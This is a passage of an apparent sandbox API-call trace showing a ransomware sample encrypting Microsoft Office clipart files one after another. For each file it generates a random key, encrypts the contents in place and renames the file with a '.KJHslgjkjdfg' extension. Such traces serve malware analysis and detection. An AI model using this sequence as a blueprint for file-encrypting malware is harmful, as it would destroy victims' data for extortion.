lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.982] SetEndOfFile (hFile=0x130) returned 1 [0195.985] GetProcessHeap () returned 0x990000 [0195.985] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.985] GetProcessHeap () returned 0x990000 [0195.985] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.985] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.kjhslgjkjdfg")) returned 1 [0195.987] CloseHandle (hObject=0x130) returned 1 [0195.987] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ec4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152876.WMF", cAlternateFileName="")) returned 1 [0195.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.988] GetProcessHeap () returned 0x990000 [0195.989] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.989] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.989] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.989] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0195.991] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.991] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.991] GetProcessHeap () returned 0x990000 [0195.991] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.991] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.991] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.991] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.991] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.991] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.992] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.992] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.992] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.992] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.992] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.992] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.992] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ec4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ec4, lpOverlapped=0x0) returned 1 [0195.993] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ed0, dwBufLen=0x1ed0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ed0) returned 1 [0195.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.993] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ed0, lpOverlapped=0x0) returned 1 [0195.993] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1fa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.993] SetEndOfFile (hFile=0x130) returned 1 [0195.996] GetProcessHeap () returned 0x990000 [0195.996] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.996] GetProcessHeap () returned 0x990000 [0195.996] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.kjhslgjkjdfg")) returned 1 [0195.998] CloseHandle (hObject=0x130) returned 1 [0195.998] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152878.WMF", cAlternateFileName="")) returned 1 [0195.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.999] GetProcessHeap () returned 0x990000 [0195.999] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.999] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.999] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.001] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.001] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.001] GetProcessHeap () returned 0x990000 [0196.001] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.001] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.001] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.001] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.001] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.001] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.002] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.002] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.002] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.002] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.002] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.002] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.002] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3a28, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3a28, lpOverlapped=0x0) returned 1 [0196.003] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a30, dwBufLen=0x3a30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a30) returned 1 [0196.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.003] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3a30, lpOverlapped=0x0) returned 1 [0196.003] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.003] SetEndOfFile (hFile=0x130) returned 1 [0196.006] GetProcessHeap () returned 0x990000 [0196.006] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.006] GetProcessHeap () returned 0x990000 [0196.006] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.006] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.kjhslgjkjdfg")) returned 1 [0196.008] CloseHandle (hObject=0x130) returned 1 [0196.008] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2370, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152882.WMF", cAlternateFileName="")) returned 1 [0196.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.009] GetProcessHeap () returned 0x990000 [0196.009] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.009] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.009] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.009] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.009] GetProcessHeap () returned 0x990000 [0196.009] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.009] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.009] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.009] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.012] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.012] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.012] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.012] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.012] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.012] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.013] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.013] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.013] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2370, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2370, lpOverlapped=0x0) returned 1 [0196.014] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2370, dwBufLen=0x2370 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2370) returned 1 [0196.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.014] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2370, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2370, lpOverlapped=0x0) returned 1 [0196.014] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.014] SetEndOfFile (hFile=0x130) returned 1 [0196.017] GetProcessHeap () returned 0x990000 [0196.017] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.017] GetProcessHeap () returned 0x990000 [0196.017] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.kjhslgjkjdfg")) returned 1 [0196.019] CloseHandle (hObject=0x130) returned 1 [0196.019] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152884.WMF", cAlternateFileName="")) returned 1 [0196.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.020] GetProcessHeap () returned 0x990000 [0196.020] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.020] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.020] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.020] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.021] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.022] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.022] GetProcessHeap () returned 0x990000 [0196.022] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.022] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.022] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.022] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.022] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.022] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.022] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.022] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.022] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.022] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.022] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.022] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.023] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b2c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b2c, lpOverlapped=0x0) returned 1 [0196.024] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b30, dwBufLen=0x1b30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b30) returned 1 [0196.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.024] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b30, lpOverlapped=0x0) returned 1 [0196.024] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.024] SetEndOfFile (hFile=0x130) returned 1 [0196.026] GetProcessHeap () returned 0x990000 [0196.026] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.026] GetProcessHeap () returned 0x990000 [0196.026] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.kjhslgjkjdfg")) returned 1 [0196.027] CloseHandle (hObject=0x130) returned 1 [0196.027] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152890.WMF", cAlternateFileName="")) returned 1 [0196.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.029] GetProcessHeap () returned 0x990000 [0196.029] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, 